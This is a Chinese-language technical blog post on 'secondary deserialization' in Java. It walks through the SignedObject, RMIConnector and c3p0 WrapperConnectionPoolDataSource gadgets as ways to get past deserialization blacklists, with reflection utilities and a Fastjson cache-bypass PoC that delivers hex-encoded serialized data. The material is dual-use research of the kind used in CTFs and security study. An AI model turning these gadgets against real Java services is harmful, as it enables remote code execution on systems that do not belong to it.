Java反序列化之二次反序列化篇

0x00 前言

二次反序列化是一个很好的思路,在面对一些特殊情况时往往有奇效······虽然容易挂在黑名单。

0x01 SignedObject

原理剖析

SignedObject的getObject()方法存在反序列化点:

image-20250408221941734

反序列化的是SignedObject的content属性值。

SignedObject类的三个属性:

image-20250408222819795

按照正常构造SignedObject类的逻辑,构造thealgorithm属性和signature属性的值还是比较麻烦的:

image-20250408223056261

但是我一直使用一种方法,即是绕过该类现有构造器去构造该类,虽然该方法下的属性值都为空,但是通过反射还可以赋值。

对应函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}

假如二次反序列化的是字节数组:serialize_o,可以将其赋值到content里,整体构造如下:

image-20250408223611712

没办法再简化,三个属性必须都赋值,因为在SignedObject类的readObject()方法有做检查:

image-20250408223800152

用法思路

如何触发SignedObject#getObject()?

可以是反射调用,就算是只能调用静态方法的反射,也可以加上一层MethodUtil.invoke方法,进而实现任意方法的反射;

也可以是getter调用,Rome、Jackson,Hibernate,Fastjson等依赖都可以调用getObject()方法。

至于第二次反序列化的链子就比较宽泛了,毕竟不需要考虑题目所给反序列化的一些限制,比如不能加载数组类等等。或者题目存在黑名单,第二次反序列化就不需要考虑这些黑名单。

稍微提一嘴,如果题目不允许加载数组类,或者题目使用URLClassLoader.loadClass()而非forName()加载类,可以通过CC6+InvokerTransformer+SignedObject+poc的方式进行攻击。

0x02 RMIConnector

利用点在javax.management.remote.rmi.RMIConnector#findRMIServerJRMP():

image-20250409223825346

认真读下代码。首先可以确定,二次反序列化的数据存放在serialized变量里。然后我关注到类加载器的类型,env即便是null,也是获取当前线程的类加载器,没问题:

image-20250409224327430

剩下的流程很正常。寻找findRMIServerJRMP()的调用点:

image-20250409224553396

需要先处理一下isIiop的相关逻辑,不过不会妨碍正常流程。

重点在参数:JMXServiceURL directoryURL。该参数是一个url,会经过一些处理,把最后的反序列化数据给到findRMIServerJRMP()。进入该类一探究竟。

image-20250409225423516

根据该类的构造方法,我们尝试构造一个URL例子。

URL开头必须是service:jmx:

image-20250409230215798

开头后面紧接着就是协议:

image-20250409230405786

协议不知道用啥,先随便填,之后根据报错再决定。现在构造方法的流程已经走完,也就是成功构造了一个JMXServiceURL实例。

回到findRMIServer(),目前的URL在协议上存在问题,只能是rmi或者iiop。事实上,无论选择哪种协议都不会影响后面的反序列化。

image-20250409231346928

那么现在我们的URL也构造好了,这也意味着POC构造好了:

image-20250409231633826

我这里用了很多取巧的方法去构造和修改对象,实际上都是调用反射,这些方法我写在Utils类,会在文末给出。

用法思路上,RMIConnector比SignedObject好一点,在于RMIConnector类在反序列化时不需要加载数组类。如果服务端重写了resloveClass(),并把类加载的方法forName()改成URLClassLoader.loadClass(),那么我们的POC就不能存在利用数组的地方。

0x03 WrapperConnectionPoolDataSource

漏洞点在com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString():

image-20250410090329801

二次反序列化的数据由参数 String userOverridesAsString 给出。

寻找调用点,在WrapperConnectionPoolDataSource#setUpPropertyListeners()。

image-20250410091255390

setUpPropertyListeners,顾名思义,即是设置Property监听器。如果当前监听的Property是userOverridesAsString属性,就会进入反序列化分支。

什么时候需要监听器呢?当然是属性做修改时,猜想是否与userOverridesAsString的setter方法有关。

事实上,WrapperConnectionPoolDataSource的父类WrapperConnectionPoolDataSourceBase定义了userOverridesAsString属性并存在setUserOverridesAsString()方法:

image-20250410091911193

触发fireVetoableChange事件处理,调用监听器:

image-20250410092442471

监听器判断属性是userOverridesAsString,就会进行反序列化。

所以我们的思路很简单,就是调用setter:setUserOverridesAsString()。我们还需要注意setUserOverridesAsString()所接受的参数(存放反序列化数据)的具体格式。

回到parseUserOverridesAsString():

image-20250410093410566

切割的长度从”HexAsciiSerializedMap”后一位才开始,切割至末二位;再调用ByteUtils.fromHexAscii()方法将切割后的序列化数据转换为字节数组;最后才进行原生反序列化。

弄懂了流程,并且知道了payload的构造,直接上POC:(FastJson < 1.2.47,可以用缓存绕过 )。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package WrapperConnectionPoolDataSourceTest;

import SignedObjectTest.Person;
import com.alibaba.fastjson.JSONObject;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase;

import java.beans.VetoableChangeSupport;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import static Utils.Utils.*;

public class Main {
public static void main(String[] args) throws Exception{
String hexAscii = ByteUtils.toHexAscii(serialize(new Person()));
String s = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"rand2\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:"+ hexAscii +";\",\n" +
" }\n" +
"}";
JSONObject jsonObject = JSONObject.parseObject(s);
System.out.println(jsonObject);

}
}

0x04 Utils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package Utils;

import com.sun.rowset.JdbcRowSetImpl;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Utils {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] codes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return (T) objectInputStream.readObject();
}

public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,url);
return jdbcRowSet;
}
}

0x05 参考

二次反序列化 看我一命通关 - 跳跳糖

https://xz.aliyun.com/news/13340

FastJson结合二次反序列化绕过黑名单-先知社区

c3p0的三个gadget的学习 | CN-SEC 中文网